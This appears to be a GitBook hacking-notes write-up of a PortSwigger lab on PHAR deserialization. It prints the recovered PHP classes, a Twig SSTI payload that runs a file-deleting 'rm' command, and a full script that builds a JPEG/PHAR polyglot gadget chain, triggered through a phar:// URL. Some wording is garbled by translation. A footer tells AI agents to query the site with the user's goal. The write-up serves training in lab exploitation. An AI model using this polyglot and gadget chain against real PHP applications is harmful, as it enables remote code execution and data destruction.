> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/phar-deserialization-with-custom-chain.md).

# PHAR Deserialization with Customized Chain

PHAR Deserialization with Customized Chain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Using PHAR Deserialization to Deploy a Custom Gadget Chain

This lab does **not** perform explicit classic deserialization. The idea is to **provoke** deserialization by exploiting PHP's behavior with the wrapper **`phar://`**, in order to reach a **RCE** via a **custom gadget chain**, then delete:

* `/home/carlos/morale.txt`

Identifier provided:

* `wiener:peter`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Application Side Marking

#### Avatar Upload

After authentication, you can **upload a file** via a POST query on the avatar feature.1) Application side marking

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

When you click on the profile image, trigger the load via:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Readable Files in `/cgi-bin/`

When visiting `/cgi-bin/`, several files are **readable** (useful to retrieve the code and build the string).

| Name                  | Size  |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Source Code Recovered

#### `blog.php`

There is a `Blog` class that initializes Twig in `__wakeup()`:

* `__sleep()` serializes `user` and `desc`
* `__wakeup()` builds a `Twig_Environment` with a template based on `desc`
* `__toString()` renders `index` and injects `user`

Important point: `desc` directly becomes a **Twig template**, so it can be used to target **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

The `CustomTemplate` class contains:

* a private `$template_file_path` field
* a `__destruct()` destructor that makes:
* `@unlink($this->lockFilePath());`

`lockFilePath()` builds:

* `'templates/' . $this->template_file_path . '.lock'`

So if we control `template_file_path` with an object that converts to string, we can influence the path used by `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Charge Utile Twig (SSTI → Exec)

Payload Twig used:

Objective: to execute `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Operating Strategy: Polyglot PHAR

The challenge: the upload awaits a **image**. / Solution: Create a **polyglot** file:

* Valid as **JPEG**
* but containing a **PHAR** (tar/phar format) with **metadata** serialized

Why does it work?

* When PHP opens a resource via `phar://...`, it can trigger reading the PHAR manifest and **desertain metadata** (so run `__wakeup`, `__destruct`, etc. depending on the string).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// pop exploit class
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// config for gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif header, size 300 x 300
$tempname = 'temp.phar'; // make it phar
$outfile = 'out.gif';

// make gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Built Gadget Chain

Tu fabriques :

* a `Blog` object with:
* `user = "pwned"`
* `desc = <payload Twig SSTI>`
* then you put this object in `CustomTemplate->template_file_path`

Like that, when `CustomTemplate` is destroyed, `lockFilePath()` will concate a value from an object, which forces a conversion to string → calls `Blog::__toString()` → triggers `twig->render()` → interpret `desc` → executes the command.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
```

{% endcode %}

* Upload `out.jpg` as the avatar

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Resource call via `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

At that time, the application opens the resource with the PHAR wrapper, the metadata is deserialized, the string triggers, and the file:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
